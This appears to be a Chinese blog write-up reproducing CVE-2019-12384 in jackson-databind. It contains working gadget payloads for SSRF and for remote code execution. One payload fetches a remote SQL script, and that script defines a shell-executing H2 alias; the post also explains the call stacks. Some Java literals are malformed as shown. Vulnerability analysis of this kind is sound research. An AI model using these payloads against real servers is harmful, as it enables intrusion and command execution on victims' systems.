摘要: CVE-2019-12384分析及复现
本次有比较鸡肋的地方,就是依赖的第三方jar包有点多,除去jackson自身的jar包以外还需要logback-core和h2,具体的pom配置如下:
<dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind <version>2.9.8</version></dependency><!--https://mvnrepository.com/artifact/ch.qos.logback/logback-core --><dependency> <groupId>ch.qos.logback</groupId> <artifactId>logback-core</artifactId> <version>1.3.0-alpha4</version></dependency><!--https://mvnrepository.com/artifact/com.h2database/h2 --><dependency> <groupId>com.h2database</groupId> <artifactId>h2</artifactId> <version>1.4.199</version> <scope>test</scope></dependency><dependency> <groupId>com.h2database</groupId> <artifactId>h2</artifactId> <version>1.4.199</version> <scope>compile</scope></dependency>
国外的大佬们用的是ruby实现的利用环境,我这边为了方便idea的debug,索性使用java来做复现,具体的注意细节我也在代码里面注释了,大家看注释就好
JackonSerial.java
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import org.h2.Driver;
public class JackonSerial {
public static void main(String[] args) throws Exception {
//一定要实例化Driver否则会报错
Class.forName("org.h2.Driver").newInstance();
System.out.println("Mapping");
//该条payload用于SSRF的复现
String jsonStr1 = "["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:tcp://127.0.0.1:8005/~/test"}]";
//该条payload用于RCE的复现
String jsonStr2 = "["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost/inject.sql'"}]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
System.out.println("Serializing");
Object obj = mapper.readValue(jsonStr1, java.lang.Object.class)
System.out.println("objectified");
System.out.println("stringified: " + mapper.writeValueAsString(obj));
}
}
inject.sql
CREATE ALIASSHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException{
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('open/Applications/Calculator.app/')
使用第一个payload实现SSRF的效果图
使用第二个payload实现RCE的效果图。
先看一下SSRF调用栈。
Jackson在进行序列化的时候会循环调用序列化对象所属类的每一个get方法,当调用getConnection()方法的时候,就去再去调DriverManager从而去链接远程的数据库,这也就是造成SSRF的原因
public Connection getConnection() throws SQLException {
return this.getUser() == null ? DriverManager.getConnection(this.url) : DriverManager.getConnection(this.url, this.getUser(), this.getPassword());
}
下面说一下RCE。
先介绍一下jdbc:h2:mem: 这种写法用于h2操作内存表,并且能在内存中执行sql语句,然后再通过RUNSCRIPT FROM ‘http://localhost/inject.sql‘来执行从远程获取的sql文件,当然此处改成直接执行本地语句造成命令执行也是可以的。
因为这些执行都是在本地应该内存中的,而本地代码就是java,就是只需要在sql里面写一个java代码的函数,通过CALL来调用,变回造成java代码在本地应用执行从而造成RCE,RCE的关键调用栈如下: